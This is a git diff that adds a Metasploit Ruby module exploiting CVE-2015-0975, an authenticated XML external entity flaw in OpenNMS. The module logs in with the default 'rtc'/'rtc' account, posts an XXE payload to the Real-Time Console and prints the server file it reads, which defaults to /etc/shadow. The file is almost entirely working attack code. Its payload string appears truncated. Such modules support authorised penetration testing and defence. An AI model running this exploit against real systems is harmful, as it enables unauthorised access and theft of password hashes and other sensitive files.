diff --git a/modules/exploits/linux/http/opennms_xxe.rb b/modules/exploits/linux/http/opennms_xxe.rb new file mode 100644 index 0000000000..fa2292f397 --- /dev/null +++ b/modules/exploits/linux/http/opennms_xxe.rb @@ -0,0 +1,91 @@ +require 'msf/core' +require 'openssl' + +class Metasploit3 < Msf::Auxiliary + + include Msf::Exploit::Remote::HttpClient + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'OpenNMS Authenticated XXE', + 'Description' => %q{ + OpenNMS is vulnerable to XML External Entity Injection in the Real-Time Console interface. + Although this attack requires authentication, there are several factors that increase the + severity of this vulnerability. + + 1. OpenNMS runs with root privileges, taken from the OpenNMS FAQ: "The difficulty with the + core of OpenNMS is that these components need to run as root to be able to bind to low-numbered + ports or generate network traffic that requires root" + + 2. The user that you must authenticate as is the "rtc" user which has the default password of + "rtc". There is no mention of this user in the installation guides found here: + http://www.opennms.org/wiki/Tutorial_Installation, only mention that you should change the default + admin password of "admin" for security purposes. + }, + 'License' => MSF_LICENSE, + 'Author' => + [ + 'Stephen Breen ', # discovery + 'Justin Kennedy ', # metasploit module + ], + 'References' => + [ + ['CVE', '2015-0975'] + ], + 'DisclosureDate' => 'Jan 08 2015' + )) + + register_options( + [ + Opt::RPORT(8980), + OptBool.new('SSL', [false, 'Use SSL', false]), + OptString.new('TARGETURI', [ true, "The base path to the OpenNMS application", '/opennms/']), + OptString.new('FILEPATH', [true, "The file or directory to read on the server", "/etc/shadow"]), + OptString.new('USERNAME', [true, "The username to authenticate with", "rtc"]), + OptString.new('PASSWORD', [true, "The password to authenticate with", "rtc"]) + ], self.class) + + end + + def run + + print_status("Logging in to grab a valid session cookie") + res = send_request_cgi({ + 'method' => 'POST', + 'uri' => normalize_uri(target_uri.path, 'j_spring_security_check'), + 'vars_post' => { + 'j_username' => datastore['USERNAME'], + 'j_password' => datastore['PASSWORD'], + 'Login'=> 'Login' + }, + }) + + unless res.headers["Location"].include? "index.jsp" + fail_with(Failure::Unknown, 'Authentication failed') + end + + cookie = res.get_cookies + + print_status("Got cookie, going for the goods") + + xxe = ']>&xxe;' + + res = send_request_raw({ + 'method' => 'POST', + 'uri' => normalize_uri(target_uri.path, 'rtc', 'post/'), + 'data' => xxe, + 'cookie' => cookie + }) + + # extract filepath data from response and remove preceding errors + + if res.body =~ /(.+)<\/title\/?>/m + title = $1 + end + + result = title.match(/"(.*)/m) + + print_good("#{result}") + + end +end